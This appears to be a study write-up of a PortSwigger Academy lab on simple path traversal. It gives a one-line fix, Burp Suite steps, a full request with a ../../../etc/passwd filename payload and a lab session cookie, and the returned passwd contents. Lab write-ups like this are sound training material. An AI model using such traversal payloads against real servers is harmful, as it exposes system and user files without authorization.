Apprentice · updated

Path traversal

PortSwigger Web Security Academy · Apprentice

  • #Path traversal
LevelsApprenticePractitioner

File Path Traversal, Simple Case

The vulnerability

The page loads images by filename. If you use ../../../etc/passwd as the filename, you get that file instead.

Fix: Resolve the full path and check that it’s still in the image folder.

The lab

Open the lab on PortSwigger

This lab contains a path traversal vulnerability in the display of product images. To solve the lab, retrieve the contents of the /etc/passwd file.

Solution

1. Enable Image Filtering in Burp Proxy: In Burp Suite, go to Proxy → Options and ensure "Show only BFC" or similar filtering for images is disabled, or enable "Images" specifically in the Filter settings to view image requests in HTTP history.

2. Intercept an Image Request: On the website, browse to a product page that displays an image. In Burp Suite’s Proxy → HTTP history, find an image request (e.g., GET /image?filename=1.jpg) and right-click to Send to Repeater.

3. Exploit Path Traversal: In Repeater, modify the filename parameter to include directory traversal sequences to access the /etc/passwd file. Change the filename value from 1.jpg to ../../../etc/passwd. Send the request.

Request:

GET /image?filename=../../../etc/passwd HTTP/2 
Host: 0a7000c903f2b42881b18e00006f004b.web-security-academy.net 
Cookie: session=SJqkm5IWeKz6Ud33qK9NGCENUAgjIvi8 
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 
Accept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate, br 
Referer: https://0a7000c903f2b42881b18e00006f004b.web-security-academy.net/ 
Sec-Fetch-Dest: image 
Sec-Fetch-Mode: no-cors 
Sec-Fetch-Site: same-origin 
Priority: u=5, i 
Te: trailers

4. Retrieve /etc/passwd Content: The HTTP/2 200 OK response will contain the raw content of the /etc/passwd file in its body, and the lab is solved.

Response:

HTTP/2 200 OK 
Content-Type: image/jpeg 
X-Frame-Options: SAMEORIGIN 
Content-Length: 2316  

root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 
bin:x:2:2:bin:/bin:/usr/sbin/nologin 
sys:x:3:3:sys:/dev:/usr/sbin/nologin 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/usr/sbin/nologin 
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin 
peter:x:12001:12001::/home/peter:/bin/bash 
carlos:x:12002:12002::/home/carlos:/bin/bash 
user:x:12000:12000::/home/user:/bin/bash 
elmer:x:12099:12099::/home/elmer:/bin/bash 
academy:x:10000:10000::/academy:/bin/bash 
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin 
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin 
systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin 
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin 
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin 
mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false 
postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash 
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin 
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin 
mongodb:x:110:117::/var/lib/mongodb:/usr/sbin/nologin 
avahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin 
cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin 
geoclue:x:113:120::/var/lib/geoclue:/usr/sbin/nologin 
saned:x:114:122::/var/lib/saned:/usr/sbin/nologin 
colord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin 
pulse:x:116:124:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin 
gdm:x:117:126:Gnome Display Manager:/var/lib/gdm3:/bin/false

Tip

An active scan on the GET /image?filename=1.jpg endpoint in Burp Suite finds this vulnerability.